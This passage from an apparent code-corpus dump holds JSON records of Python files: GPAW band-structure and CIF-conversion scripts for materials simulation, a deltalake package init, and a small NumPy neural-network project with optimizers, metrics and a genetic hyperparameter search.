-------------------------------------------------------------\r\ncalc = GPAW(struct+'-1-Result-Ground.gpw',\r\n\t txt=struct+'-3-Log-Band.txt',\r\n\t nbands=num_of_bands,\r\n\t fixdensity=True,\r\n\t symmetry='off',\r\n\t kpts={'path': band_path, 'npoints': band_npoints},\r\n\t convergence={'bands': 8})\r\n\r\ncalc.get_potential_energy()\r\nbs = calc.band_structure()\r\nef = calc.get_fermi_level()\r\n#bs.write(struct+'-3-Result-Band.json')\r\ncalc.write(struct+'-3-Result-Band.gpw')\r\nif draw_band == \"yes\":\r\n bs.plot(filename=struct+'-3-Graph-Band.png', show=True, emax=energy_max)\r\n\r\n# Extract eigenenergies into a file for plotting with some external package\r\n\r\nimport numpy as np\r\ncalc = GPAW(struct+'-3-Result-Band.gpw', txt=None)\r\neps_skn = np.array([[calc.get_eigenvalues(k,s)\r\n for k in range(band_npoints)]\r\n for s in range(1)]) - ef\r\n\r\nf = open(struct+'-3-Result-Band.dat', 'w')\r\nfor n in range(num_of_bands):\r\n for k in range(band_npoints):\r\n print(k, eps_skn[0, k, n], end=\"\\n\", file=f)\r\n print (end=\"\\n\", file=f)\r\nf.close()\r\n\r\n\r\n# - - - - - - - - - COLUMNED OUTPUT - - - - - - - - - - \r\n# create a matrix of zeroes\r\narr = [[0 for col in range(2*num_of_bands+1)] for row in range(band_npoints+1)]\r\nf = open(struct+'-3-Result-Band.dat', 'r')\r\nlines = f.readlines()\r\nf.close()\r\na = 0 \r\n\r\nfor i in range(0, num_of_bands, 1):\r\n b = 0\r\n for a in range (a, a+band_npoints, 1):\r\n fields = lines[a].split()\r\n arr[b][2*i] = fields[0]\r\n arr[b][2*i+1] = fields[1]\r\n b = b + 1\r\n a = a + 2\r\n\r\n# writing to output file\r\nf = open(struct+'-3-Result-Band-withColumns.dat', 'w')\r\nstringline = \"\"\r\n\r\nfor i in range(0, band_npoints, 1):\r\n stringline = stringline + arr[i][0] + \" \" + arr[i][1] + \" \"\r\n for j in range(1, num_of_bands, 1):\r\n stringline = stringline + arr[i][2*j+1] + \" \"\r\n f.write(stringline + \"\\n\")\r\n stringline = \"\"\r\n\r\nf.close()\r\n", "id": "4725989", "language": "Python", "matching_score": 2.015994071960449, "max_stars_count": 6, "path": "benchmarks/simple_benchmark_2021.py" }, { "content": "'''\nciftoase.py: Converting CIF files to ASE Atoms object to use in GPAW calculation\nUsage: $ python ciftoase.py file.cif\n'''\nimport sys, os\nfrom ase.io import read\n\n# -------------------------------------------------------------\n# Parameters\n# -------------------------------------------------------------\nScaled = False #Scaled or cartessian coordinates\nManualpbc = False # If you need manual constraint axis\n\n# IF Manualpbc is true then change following:\npbcmanual=[True,True,False]\n\n# If you have double number of elements in your final file\nSolveDoubleElementProblem = True\n# -------------------------------------------------------------\n# /////// YOU DO NOT NEED TO CHANGE ANYTHING BELOW \\\\\\\\\\\\\\\n# -------------------------------------------------------------\ninFile = sys.argv[1]\nasestruct = read(inFile, index='-1')\nprint(inFile)\nprint(os.path.splitext(inFile)[0])\n\n# PRINT TO FILE PART -----------------------------------\nwith open(os.path.splitext(inFile)[0]+'.py', 'w') as f:\n f.write(\"bulk_configuration = Atoms(\\n\")\n f.write(\" [\\n\")\n if Scaled == True:\n positions = asestruct.get_scaled_positions()\n else:\n positions = asestruct.get_positions()\n nn=0\n mm=0\n\n if SolveDoubleElementProblem == True:\n for n in asestruct.get_chemical_symbols():\n nn=nn+1\n for m in positions:\n mm=mm+1\n if mm == nn:\n f.write(\" Atom('\"+n+\"', ( \"+str(m[0])+\", \"+str(m[1])+\", \"+str(m[2])+\" )),\\n\")\n mm=0\n else:\n for n in asestruct.get_chemical_symbols():\n for m in positions:\n f.write(\" Atom('\"+n+\"', ( \"+str(m[0])+\", \"+str(m[1])+\", \"+str(m[2])+\" )),\\n\")\n f.write(\" ],\\n\")\n f.write(\" cell=[(\"+str(asestruct.cell[0,0])+\", \"+str(asestruct.cell[0,1])+\", \"+str(asestruct.cell[0,2])+\"), (\"+str(asestruct.cell[1,0])+\", \"+str(asestruct.cell[1,1])+\", \"+str(asestruct.cell[1,2])+\"), (\"+str(asestruct.cell[2,0])+\", \"+str(asestruct.cell[2,1])+\", \"+str(asestruct.cell[2,2])+\")],\\n\")\n if Manualpbc == False:\n f.write(\" pbc=True,\\n\")\n else:\n f.write(\" pbc=[\"+str(pbcmanual[0])+\",\"+str(pbcmanual[1])+\",\"+str(pbcmanual[2])+\"],\\n\")\n f.write(\" )\\n\")\n\n# PRINT SCREEEN PART -----------------------------------\nprint(\"Result:\")\nwith open(os.path.splitext(inFile)[0]+'.py', 'r') as f:\n lines = f.readline()\n while lines:\n print(lines)\n lines = f.readline()\n", "id": "5270454", "language": "Python", "matching_score": 0.4929269552230835, "max_stars_count": 6, "path": "optimizations/ciftoase.py" }, { "content": "#!/usr/bin/env python\n \n'''\nshrinkgpw.py: Extracting wave functions from gpw file to get smaller files\n\nUsage: $ shrinkgpw.py <file.gpw>\n'''\nfrom ase import *\nfrom gpaw import GPAW\nimport sys, os\nfrom pathlib import Path\n\nif len(sys.argv) > 1:\n inFile = os.path.join(os.getcwd(),sys.argv[1])\nelse:\n print(\"Please provide a GPW file to continue.\")\n exit()\n\ncalc = GPAW(inFile)\n\n# Writing result\ncalc.write(os.path.join(os.getcwd(),Path(inFile).stem+'_withoutwf.gpw'))\n", "id": "11160803", "language": "Python", "matching_score": 0.28943684697151184, "max_stars_count": 6, "path": "shrinkgpw.py" } ]
3.871407
malonsocasas
[ { "content": "from .deltalake import RawDeltaTable, RawDeltaTableMetaData, rust_core_version\nfrom .table import DeltaTable, Metadata\nfrom .schema import Schema, Field, DataType\n", "id": "3264208", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "python/deltalake/__init__.py" } ]
0
grandmaster-xav
[ { "content": "import datetime\nimport logging\nimport threading\n\nfrom numpy import random\nimport numpy as np\n\nfrom tools.Network import Network\nfrom tools.Genetic.Genetic import Genetic\n\n\nclass PerceptronGenetic(Genetic):\n best_ind = Network\n\n def _create_layers(self):\n layer = []\n for _ in range(random.randint(2, 6)):\n layer.append(random.randint(self.output_size, self.input_size))\n layer = np.sort(layer)[::-1]\n return np.array([*layer, self.output_size])\n\n def init_population(self):\n self.population = []\n for i in range(self.population_size):\n epochs = random.randint(300, 1000)\n learning_rate = random.uniform(0.001, 0.1)\n layers_size = self._create_layers()\n self.population.append(\n {\n \"obj\": Network(\n input_dim=30,\n layers_size=layers_size,\n epochs=epochs,\n learning_rate=learning_rate,\n ),\n \"grade\": 0,\n }\n )\n self.population[-1][\"obj\"].name = (f\"thread-{i}\",)\n\n def _train_network(self, nn):\n nn.train()\n\n def _launch_obj(self):\n threads = []\n for i, individual in enumerate(self.population):\n individual[\"obj\"].name = f\"thread {i}\"\n x = threading.Thread(target=self._train_network, args=[individual[\"obj\"]])\n x.start()\n threads.append(x)\n for x in threads:\n x.join()\n\n def fitness_calculation(self):\n self._launch_obj()\n self.best_ind = sorted(\n self.population, key=lambda ind: ind[\"obj\"].best_loss[0]\n )[0][\"obj\"]\n logging.warning(\n f\"\"\"best loss: {self.best_ind.best_loss[0]}\n layers = {self.best_ind.layers_size} | epochs = {self.best_ind.epochs} | learning_rate = {self.best_ind.learning_rate}\n \"\"\",\n )\n for i, ind in enumerate(self.population):\n self.population[i][\"grade\"] += ind[\"obj\"].best_loss[0] * 200\n\n def mating_poll(self):\n \"\"\"\n select the first half of the population with the highest match\n \"\"\"\n self.past_population = self.population\n self.population = sorted(\n self.population, key=lambda ind: ind[\"grade\"], reverse=True\n )[: int(self.population_size / 2)]\n\n def parents_selection(self):\n if len(self.population) < self.initial_population:\n self.population.extend(\n [\n self.past_population[random.randint(0, self.population_size - 1)]\n for _ in range(self.population_size - len(self.population))\n ]\n )\n random.shuffle(self.population)\n self.population_size = len(self.population)\n\n def _random_crossover(self, parent1, parent2):\n args = {\n \"input_dim\": self.input_size,\n \"layers_size\": parent1.layers_size,\n \"epochs\": parent1.epochs,\n \"learning_rate\": parent1.learning_rate,\n }\n for k in [\"layers_size\", \"epochs\", \"learning_rate\"]:\n if (random.randint(0, 9) % 2) == 1:\n args[k] = vars(parent2)[k]\n return args\n\n def _crossover(self, parent1, parent2) -> list:\n super()._crossover(parent1, parent2)\n args1 = self._random_crossover(parent1[\"obj\"], parent2[\"obj\"])\n args2 = self._random_crossover(parent1[\"obj\"], parent2[\"obj\"])\n return [\n {\"obj\": Network(**args1), \"grade\": 0},\n {\"obj\": Network(**args2), \"grade\": 0},\n ]\n\n def _random_mutation(self, individual, max_mut):\n mut = 0\n args = {\n \"input_dim\": self.input_size,\n \"layers_size\": individual.layers_size,\n \"epochs\": individual.epochs,\n \"learning_rate\": individual.learning_rate,\n }\n for k in [\"layers_size\", \"epochs\", \"learning_rate\"]:\n if random.randn() > 0.3 and mut < max_mut:\n mut += 1\n if k == \"layers_size\":\n args[k] = self._create_layers()\n elif k == \"epochs\":\n args[k] = random.randint(1000, 3000)\n elif k == \"learning_rate\":\n args[k] = random.uniform(0.001, 0.1)\n return args\n\n def _mutation(self, individual):\n super()._mutation(individual)\n args = self._random_mutation(individual[\"obj\"], 1)\n individual[\"obj\"] = Network(**args)\n individual[\"grade\"] = 0\n\n def check_result(self) -> bool:\n timer = datetime.timedelta(minutes=self.timer)\n if (\n datetime.datetime.now() - self.start_time < timer\n or self.best_ind[\"obj\"].best_loss[0] > self.loss\n ):\n return False\n self.best_ind[\"obj\"].save_model(model_name=\"genetic_model_0_07\")\n return True\n\n def mating(self):\n temp_pop = []\n for _ in range(int(self.population_size / 2)):\n parent1 = random.randint(0, len(self.population) - 1)\n parent2 = random.randint(0, len(self.population) - 1)\n temp_pop.extend(\n self._crossover(\n self.population.pop(parent1), self.population.pop(parent2)\n )\n )\n if self.mutation > 0:\n for _ in range(self.mutation):\n self._mutation(temp_pop[random.randint(0, self.population_size - 1)])\n self.population = temp_pop\n self.population_size = len(self.population)\n\n def __init__(self, population_size, mutation, timer, loss, input_size, output_size):\n self.loss = loss\n self.timer = timer\n self.mutation = mutation\n self.population_size = population_size\n self.initial_population = population_size\n self.input_size = input_size\n self.output_size = output_size\n self.init_population()\n", "id": "1131889", "language": "Python", "matching_score": 3.2652950286865234, "max_stars_count": 0, "path": "srcs/tools/PerceptronGenetic.py" }, { "content": "from tools.Network import Network\n\n\ndef run():\n epochs = 1000\n nn = Network(\n input_dim=30,\n layers_size=[15, 5, 2],\n epochs=epochs,\n learning_rate=0.01,\n )\n nn.train()\n nn.evaluate()\n nn.save_model(nn.model_file)\n if nn.plot:\n nn.visualize()\n\n\nif __name__ == \"__main__\":\n run()\n", "id": "9442345", "language": "Python", "matching_score": 1.8813366889953613, "max_stars_count": 0, "path": "srcs/perceptron_train.py" }, { "content": "from tools.Network import Network\n\n\ndef run():\n nn = Network()\n nn.load_model()\n nn.evaluate()\n\n\nif __name__ == \"__main__\":\n run()\n", "id": "9873904", "language": "Python", "matching_score": 0.04599088430404663, "max_stars_count": 0, "path": "srcs/perceptron_predict.py" }, { "content": "import numpy as np\r\nfrom tools.Math import Math\r\nfrom tools.Optimizer import Optimizer\r\n\r\n\r\nclass Layer(Math, Optimizer):\r\n size: int\r\n input_size: int\r\n biases: np.array\r\n weights: np.array\r\n\r\n def __init__(\r\n self,\r\n size: int,\r\n input_size: int,\r\n activation,\r\n derivative,\r\n optimizer,\r\n regularization,\r\n ):\r\n self.size = size\r\n self.input_size = input_size\r\n self.biases = np.random.randn(size)\r\n self.weights = np.random.randn(size, input_size)\r\n self.activation = activation\r\n self.activation_prime = derivative\r\n self.regularization = regularization\r\n self.optimizer = optimizer\r\n self.optimizer_value = {\r\n \"w\": {\"momentum\": 0, \"rms_prop\": 0},\r\n \"b\": {\"momentum\": 0, \"rms_prop\": 0},\r\n }\r\n\r\n \"\"\"\r\n Public Methods\r\n \"\"\"\r\n\r\n def update_weights(\r\n self, weights: np.ndarray, gradient: np.ndarray, learning_rate: float\r\n ):\r\n \"\"\"\r\n Gradient Descent Update\r\n \"\"\"\r\n weights -= self.optimizer(\r\n self.optimizer_value[\"w\"],\r\n gradient,\r\n learning_rate,\r\n self.regularization(weights),\r\n )\r\n\r\n def update_biases(\r\n self, biases: np.ndarray, gradient: np.ndarray, learning_rate: float\r\n ):\r\n \"\"\"\r\n Gradient Descent Update\r\n \"\"\"\r\n biases -= self.optimizer(\r\n self.optimizer_value[\"b\"],\r\n gradient,\r\n learning_rate,\r\n self.regularization(biases),\r\n )\r\n", "id": "3401198", "language": "Python", "matching_score": 2.1698877811431885, "max_stars_count": 0, "path": "srcs/tools/Layer.py" }, { "content": "import numpy as np\r\n\r\n\r\nclass Optimizer:\r\n \"\"\"\r\n Public Methods\r\n \"\"\"\r\n\r\n @staticmethod\r\n def sgd(optimizer: dict, gradient: np.ndarray, learning_rate: float, reg: float):\r\n \"\"\"\r\n Vanilla SGD Optimizer\r\n \"\"\"\r\n return learning_rate * (gradient * reg)\r\n\r\n @staticmethod\r\n def momentum(\r\n optimizer: dict, gradient: np.ndarray, learning_rate: float, reg: float\r\n ):\r\n \"\"\"\r\n Momentum Optimizer\r\n \"\"\"\r\n previous_momentum = optimizer[\"momentum\"]\r\n optimizer[\"momentum\"] = gradient * 0.1 + previous_momentum * 0.9\r\n return optimizer[\"momentum\"]\r\n\r\n @staticmethod\r\n def rms_prop(\r\n optimizer: dict, gradient: np.ndarray, learning_rate: float, reg: float\r\n ):\r\n \"\"\"\r\n RMSprop Optimizer\r\n \"\"\"\r\n gamma = 1e-5\r\n previous_rms = optimizer[\"rms_prop\"]\r\n optimizer[\"rms_prop\"] = np.power(gradient, 2) * 0.1 + previous_rms * 0.9\r\n return (gradient * learning_rate) / (np.sqrt(optimizer[\"rms_prop\"]) + gamma)\r\n\r\n @staticmethod\r\n def adam(optimizer: dict, gradient: np.ndarray, learning_rate: float, reg: float):\r\n \"\"\"\r\n Adam Optimizer\r\n \"\"\"\r\n gamma = 1e-5\r\n previous_rms = optimizer[\"rms_prop\"]\r\n previous_momentum = optimizer[\"momentum\"]\r\n optimizer[\"momentum\"] = gradient * 0.1 + previous_momentum * 0.9\r\n optimizer[\"rms_prop\"] = np.power(gradient, 2) * 0.1 + previous_rms * 0.9\r\n return (optimizer[\"momentum\"] * learning_rate) / (\r\n np.sqrt(optimizer[\"rms_prop\"]) + gamma\r\n )\r\n", "id": "6929625", "language": "Python", "matching_score": 0.674794614315033, "max_stars_count": 0, "path": "srcs/tools/Optimizer.py" }, { "content": "import copy\r\nimport datetime\r\nimport logging\r\nimport warnings\r\n\r\nimport numpy as np\r\nfrom numba import jit\r\n\r\nfrom tools.Layer import Layer\r\nfrom tools.Metrics import Metrics\r\nfrom tools.Optimizer import Optimizer\r\nfrom tools.DataPreprocessing import DataPreprocessing\r\n\r\n\r\nclass Network(Metrics, DataPreprocessing, Optimizer):\r\n input_dim: int\r\n last_epoch: int\r\n\r\n deltas: list\r\n layers: list\r\n loss: list = []\r\n accuracy: list = []\r\n time: datetime.timedelta\r\n\r\n val_loss: list = []\r\n predicted: list = []\r\n activations: list = []\r\n layers_size: list = []\r\n val_accuracy: list = []\r\n weighted_sums: list = []\r\n best_loss: list = [1, 0]\r\n default_model_file: str = \"data/models/model\"\r\n\r\n \"\"\"\r\n Override Methods\r\n \"\"\"\r\n\r\n def _regularization_arg(self, parser):\r\n regularization_group = parser.add_mutually_exclusive_group(required=False)\r\n regularization_group.add_argument(\r\n \"-l1\",\r\n \"--l1_laplacian\",\r\n action=\"store_const\",\r\n const=self.l1_laplacian,\r\n help=\"Use Lasso Regression as regularization function\",\r\n dest=\"type_regularization\",\r\n )\r\n regularization_group.add_argument(\r\n \"-l2\",\r\n \"--l2_gaussian\",\r\n action=\"store_const\",\r\n const=self.l2_gaussian,\r\n help=\"Use Ridge Regression as regularization function (default)\",\r\n dest=\"type_regularization\",\r\n )\r\n\r\n def _optimizer_arg(self, parser):\r\n optimizer_group = parser.add_mutually_exclusive_group(required=False)\r\n optimizer_group.add_argument(\r\n \"-sgd\",\r\n \"--vanilla\",\r\n action=\"store_const\",\r\n const=self.sgd,\r\n help=\"Use Vanilla Stochastic Gradient Descent as optimizer function\",\r\n dest=\"type_optimizer\",\r\n )\r\n optimizer_group.add_argument(\r\n \"-mom\",\r\n \"--momentum\",\r\n action=\"store_const\",\r\n const=self.momentum,\r\n help=\"Use Momentum as optimizer function\",\r\n dest=\"type_optimizer\",\r\n )\r\n optimizer_group.add_argument(\r\n \"-rms\",\r\n \"--rms_prop\",\r\n action=\"store_const\",\r\n const=self.rms_prop,\r\n help=\"Use RMSprop as optimizer function\",\r\n dest=\"type_optimizer\",\r\n )\r\n optimizer_group.add_argument(\r\n \"-ada\",\r\n \"--adam\",\r\n action=\"store_const\",\r\n const=self.adam,\r\n help=\"Use Adam as optimizer function (default)\",\r\n dest=\"type_optimizer\",\r\n )\r\n\r\n def _activation_arg(self, parser):\r\n activation_group = parser.add_mutually_exclusive_group(required=False)\r\n activation_group.add_argument(\r\n \"-sac\",\r\n \"--sigmoid\",\r\n action=\"store_const\",\r\n const={\"activation\": self.sigmoid, \"derivative\": self.d_sigmoid},\r\n help=\"Use sigmoid as activation function (default)\",\r\n dest=\"type_activation\",\r\n )\r\n activation_group.add_argument(\r\n \"-tac\",\r\n \"--tanh\",\r\n action=\"store_const\",\r\n const={\"activation\": self.tanh, \"derivative\": self.d_tanh},\r\n help=\"Use tanh as activation function\",\r\n dest=\"type_activation\",\r\n )\r\n activation_group.add_argument(\r\n \"-rac\",\r\n \"--relu\",\r\n action=\"store_const\",\r\n const={\"activation\": self.relu, \"derivative\": self.d_relu},\r\n help=\"Use ReLU as activation function\",\r\n dest=\"type_activation\",\r\n )\r\n activation_group.add_argument(\r\n \"-lac\",\r\n \"--leaky_relu\",\r\n action=\"store_const\",\r\n const={\"activation\": self.leaky_relu, \"derivative\": self.d_leaky_relu},\r\n help=\"Use leaky ReLU as activation function\",\r\n dest=\"type_activation\",\r\n )\r\n activation_group.add_argument(\r\n \"-pac\",\r\n \"--parametric_relu\",\r\n action=\"store_const\",\r\n const={\"activation\": self.prelu, \"derivative\": self.d_prelu},\r\n help=\"Use parametric ReLU as activation function\",\r\n dest=\"type_activation\",\r\n )\r\n\r\ndef _add_exclusive_args(self, parser):\r\n\t\tsuper()._add_exclusive_args(parser)\r\n self._activation_arg(parser)\r\n self._optimizer_arg(parser)\r\n self._regularization_arg(parser)\r\n\r\n def _add_parser_args(self, parser):\r\n super()._add_parser_args(parser)\r\n parser.add_argument(\r\n \"-m\",\r\n \"--model\",\r\n type=str,\r\n help=f\"Provide model NPY file - Using '{self.default_model_file}' as default model file\",\r\n dest=\"model_file\",\r\n )\r\n parser.add_argument(\r\n \"-n\",\r\n \"--name\",\r\n type=str,\r\n help=f\"Provide name for model saver\",\r\n dest=\"model_name_file\",\r\n )\r\n parser.add_argument(\r\n \"-s\",\r\n \"--seed\",\r\n type=int,\r\n help=f\"Provide Seed\",\r\n dest=\"seed\",\r\n )\r\n\r\n \"\"\"\r\n Private Methods\r\n \"\"\"\r\n\r\n def _init_args(self):\r\n self.model_file = self.get_args(\"model_file\")\r\n self.name = self.get_args(\"model_name_file\", default_value=\"main\")\r\n self.seed = self.get_args(\"seed\", default_value=0)\r\n if self.seed:\r\n np.random.seed(self.seed)\r\n if self.model_file is None:\r\n self.model_file = f\"{self.default_model_file}_{self.name}.npy\"\r\n\r\n self.activation_func, self.derivative = self.get_args(\r\n \"type_activation\",\r\n default_value={\"activation\": self.sigmoid, \"derivative\": self.d_sigmoid},\r\n ).values()\r\n self.optimizer = self.get_args(\r\n \"type_optimizer\",\r\n default_value=self.adam,\r\n )\r\n self.regularization = self.get_args(\r\n \"type_regularization\",\r\n default_value=self.l2_gaussian,\r\n )\r\n\r\n def _add_layer(self, size: int):\r\n \"\"\"\r\n Create and Append a new layer with size (size: int) to the Neural Network\r\n \"\"\"\r\n input_layer_dim = (\r\n self.layers[-1].size if len(self.layers) > 0 else self.input_dim\r\n )\r\n self.layers.append(\r\n Layer(\r\n size,\r\n input_layer_dim,\r\n activation=self.activation_func,\r\n derivative=self.derivative,\r\n optimizer=self.optimizer,\r\n regularization=self.regularization,\r\n )\r\n )\r\n\r\n def _init_layers(self, input_dim: int, layers_size: int):\r\n self.input_dim = input_dim\r\n self.layers_size = layers_size\r\n for s in layers_size:\r\n self._add_layer(s)\r\n self.layers[-1].activation = self.soft_max\r\n\r\n @staticmethod\r\n @jit(nopython=True)\r\n def _to_one_hots(y: np.ndarray, k: int) -> np.array:\r\n one_hot = np.zeros((y.shape[0], k))\r\n for i, yi in enumerate(y):\r\n one_hot[i][int(yi)] = 1\r\n return one_hot\r\n\r\n def _feedforward(self, X: np.ndarray):\r\n self.activations = [X]\r\n self.weighted_sums = []\r\n for layer in self.layers:\r\n self.weighted_sums.append(\r\n self._weighted_sum(self.activations[-1], layer.weights.T, layer.biases)\r\n )\r\n self.activations.append(layer.activation(self.weighted_sums[-1]))\r\n\r\n def _backpropagation(self, Y):\r\n dz = [self.activations[-1] - self._to_one_hots(Y, 2)]\r\n dw = [np.dot(dz[-1].T, self.activations[-2]) / Y.size]\r\n db = [np.sum(dz[-1], axis=0) / Y.size]\r\n\r\n for i in range(len(self.layers) - 2, -1, -1):\r\n layer = self.layers[i]\r\n next_layer = self.layers[i + 1]\r\n derivate = layer.activation_prime(self.weighted_sums[i])\r\n\r\n dz.append(np.dot(dz[-1], next_layer.weights) * derivate)\r\n dw.append(np.dot(dz[-1].T, self.activations[i]) / Y.size)\r\n db.append(np.sum(dz[-1], axis=0) / Y.size)\r\n return dw[::-1], db[::-1]\r\n\r\n def _train_batch(self, X: np.ndarray, Y: np.ndarray, learning_rate: float):\r\n warnings.simplefilter(\"default\")\r\n with warnings.catch_warnings():\r\n warnings.simplefilter(\"ignore\")\r\n self._feedforward(X)\r\n dw, db = self._backpropagation(Y)\r\n\r\n for layer, dwi, dbi in zip(self.layers, dw, db):\r\n layer.update_weights(layer.weights, dwi, learning_rate)\r\n layer.update_biases(layer.biases, dbi, learning_rate)\r\n\r\n def __init__(\r\n self,\r\n input_dim: int = None,\r\n layers_size: list = None,\r\n epochs: int = 100,\r\n learning_rate: float = 0.1,\r\n ):\r\n\r\n self.layers = []\r\n self.epochs = epochs\r\n self.learning_rate = learning_rate\r\n\r\n super().__init__()\r\n self._init_args()\r\n self.wbdc_preprocess()\r\n print(\r\n \"\\033[92m\",\r\n f\"{self.name} init_network {input_dim} {layers_size} {epochs} {learning_rate}\",\r\n \"\\033[0m\",\r\n )\r\n if input_dim is not None and layers_size is not None:\r\n self._init_layers(input_dim, layers_size)\r\n\r\n \"\"\"\r\n Public Methods\r\n \"\"\"\r\n\r\n def _launch_batch_train(self, X: np.ndarray, Y: np.ndarray, batch_size: int):\r\n n = Y.size\r\n for batch_start in range(0, n, batch_size):\r\n X_batch = X[batch_start : batch_start + batch_size]\r\n Y_batch = Y[batch_start : batch_start + batch_size]\r\n self._train_batch(X_batch, Y_batch, self.learning_rate)\r\n\r\n def _check_loss(self, e: int, watch_perf: int):\r\n if (e > watch_perf or self.loss[-1] < 0.05) and self.best_loss[0] > self.loss[\r\n -1\r\n ]:\r\n self.best_loss = [self.loss[-1], copy.deepcopy(self.layers)]\r\n return True if np.mean(self.loss[-10:]) < 0.05 else False\r\n\r\n def train(self, batch_size: int = 10):\r\n logging.info(f\"Start training - {self.epochs} epochs\")\r\n watch_perf = int(self.epochs - (self.epochs / 10))\r\n for e in range(self.epochs):\r\n start = datetime.datetime.now()\r\n\r\n X_train, Y_train = self.shuffle(self.X, self.Y)\r\n self._launch_batch_train(X_train, Y_train, batch_size)\r\n self._evaluate(start, X_train, Y_train, e=e, epochs=self.epochs)\r\n if self._check_loss(e, watch_perf):\r\n break\r\n\r\n self.last_epoch = e\r\n self.layers = self.best_loss[1] if self.best_loss[1] != 0 else self.layers\r\n logging.info(f\"{self.name} finish\")\r\n\r\n def evaluate(self):\r\n start = datetime.datetime.now()\r\n X, Y = self.shuffle(self.X_test, self.Y_test)\r\n self._evaluate_predict(start, X, Y)\r\n\r\n \"\"\"\r\n File Handling Method\r\n \"\"\"\r\n\r\n def save_model(self, model_file: str):\r\n model = [(self.input_dim, self.layers_size)]\r\n model.extend([(l.weights.tolist(), l.biases.tolist()) for l in self.layers])\r\n logging.info(f\"Model saved in '{model_file}'\")\r\n self._save_npy(model_file, model)\r\n\r\n def load_model(self):\r\n raw_model = self._load_npy(self.model_file)\r\n input_dim = raw_model[0][0]\r\n layers_size = [l for l in raw_model[0][1]]\r\n self._init_layers(input_dim, layers_size)\r\n for i in range(len(layers_size)):\r\n self.layers[i].weights = np.array(raw_model[i + 1][0])\r\n self.layers[i].biases = np.array(raw_model[i + 1][1])\r\n", "id": "4157474", "language": "Python", "matching_score": 3.774121046066284, "max_stars_count": 0, "path": "srcs/tools/Network.py" }, { "content": "import datetime\n\nimport warnings\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom tabulate import tabulate\nfrom matplotlib import animation\n\nfrom tools.Math import Math\nfrom tools.args.ArgParser import ArgParser\n\n\nclass Metrics(ArgParser):\n def _add_parser_args(self, parser):\n super()._add_parser_args(parser)\n parser.add_argument(\n \"-v\",\n \"--verbose\",\n action=\"store_const\",\n const=1,\n help=f\"Add more evaluation metrics\",\n dest=\"verbose\",\n )\n parser.add_argument(\n \"-plt\",\n \"--plot\",\n action=\"store_const\",\n const=1,\n help=f\"Display animated plot for loss, val_loss, accuracy and val_accuracy\",\n dest=\"plot\",\n )\n\n def __init__(self):\n super().__init__()\n self.verbose = self.get_args(\"verbose\", default_value=0)\n self.plot = self.get_args(\"plot\", default_value=0)\n\n def visualize(self):\n fig = plt.figure(figsize=(10, 7))\n ep = range(self.last_epoch)\n accuracy = [v * 100 for v in self.accuracy]\n val_accuracy = [v * 100 for v in self.val_accuracy]\n\n plt.subplot(1, 2, 1)\n plt.title(\"Loss\")\n plt.xlabel(\"epochs\")\n (lo_1,) = plt.plot([], [], c=\"r\")\n (lo_2,) = plt.plot([], [], c=\"b\")\n plt.ylim(0, max(self.loss) + 0.1)\n plt.xlim(-10, self.last_epoch + 10)\n plt.legend([\"training dataset\", \"validate dataset\"])\n\n plt.subplot(1, 2, 2)\n plt.title(\"Accuracy\")\n plt.xlabel(\"epochs\")\n plt.ylabel(\"percents\")\n (ac_1,) = plt.plot([], [], c=\"r\")\n (ac_2,) = plt.plot([], [], c=\"b\")\n plt.ylim(min(accuracy) - 1, 100)\n plt.xlim(-10, self.last_epoch + 10)\n plt.legend([\"training dataset\", \"validate dataset\"], bbox_to_anchor=(1, 0.12))\n\n def animate(i):\n lo_1.set_data(ep[:i], self.loss[:i])\n lo_2.set_data(ep[:i], self.val_loss[:i])\n ac_1.set_data(ep[:i], accuracy[:i])\n ac_2.set_data(ep[:i], val_accuracy[:i])\n return (\n lo_1,\n lo_2,\n ac_1,\n ac_2,\n )\n\n _ = animation.FuncAnimation(\n fig, animate, frames=self.last_epoch, blit=True, interval=100, repeat=False\n )\n plt.show()\n\n @staticmethod\n def _f1_score(TP: int, FP: int, FN: int):\n try:\n precision = TP / (TP + FP)\n rappel = TP / (TP + FN)\n return 2 / ((1 / precision) + (1 / rappel))\n except ZeroDivisionError:\n return \"nan\"\n\n def _get_predictions(self):\n return np.array(list(map(np.argmax, self.activations[-1])))\n\n def _get_loss(self, X: np.ndarray, Y: np.ndarray):\n self._feedforward(X)\n return self.cross_entropy(self._to_one_hots(Y, 2), self.activations[-1])\n\n def _get_accuracy(self, Z: np.ndarray, Y: np.ndarray):\n with warnings.catch_warnings():\n warnings.simplefilter(action=\"ignore\", category=FutureWarning)\n warnings.simplefilter(action=\"ignore\", category=DeprecationWarning)\n return np.where(Z == Y)[0].shape[0] / Y.shape[0]\n\n def additional_metrics(self, predicted: np.ndarray, Y: np.ndarray):\n TP = np.where((Y == predicted) & (Y == 1))[0].shape[0]\n FP = np.where((Y != predicted) & (predicted == 1))[0].shape[0]\n TN = np.where((Y == predicted) & (Y == 0))[0].shape[0]\n FN = np.where((Y != predicted) & (predicted == 0))[0].shape[0]\n print(\n f\"F1 score = {round(self._f1_score(TP, FP, FN), 3)} |\",\n f\"Mean Squared Error = {round(Math.mean_squared(Y, predicted), 3)}\\n{'-'*70}\\n\",\n \"Confusion Matrix\\n\",\n tabulate(\n [[\"False\", TN, FP], [\"True\", FN, TP]],\n headers=[f\"sample size={Y.shape[0]}\", \"False\", \"True\"],\n ),\n f\"\\n{'-'*70}\",\n )\n\n def _evaluate(self, start: int, X: np.ndarray, Y: np.ndarray, e: int, epochs: int):\n self.loss.append(self._get_loss(X, Y))\n Z = self._get_predictions()\n self.accuracy.append(self._get_accuracy(Z, Y))\n self.val_loss.append(self._get_loss(self.X_val, self.Y_val))\n Z_val = self._get_predictions()\n self.val_accuracy.append(self._get_accuracy(Z_val, self.Y_val))\n if self.verbose:\n self.additional_metrics(Z, Y)\n time = datetime.datetime.now() - start\n print(\n f\"epoch {e + 1}/{epochs} - loss: {self.loss[-1]:.4f} - accuracy: {self.accuracy[-1] * 100:.2f}% - val_loss {self.val_loss[-1]:.4f} - val_accuracy: {self.val_accuracy[-1] * 100:.2f}% - time: {time}\"\n )\n\n def _evaluate_predict(self, start: int, X: np.ndarray, Y: np.ndarray):\n loss = self._get_loss(X, Y)\n Z = self._get_predictions()\n accuracy = self._get_accuracy(Z, Y)\n time = datetime.datetime.now() - start\n if self.verbose:\n self.additional_metrics(Z, Y)\n print(\n f\"Predict model | loss: {loss:.4f} - accuracy: {accuracy * 100:.2f}% - time: {time}\"\n )\n", "id": "6524384", "language": "Python", "matching_score": 2.6021852493286133, "max_stars_count": 0, 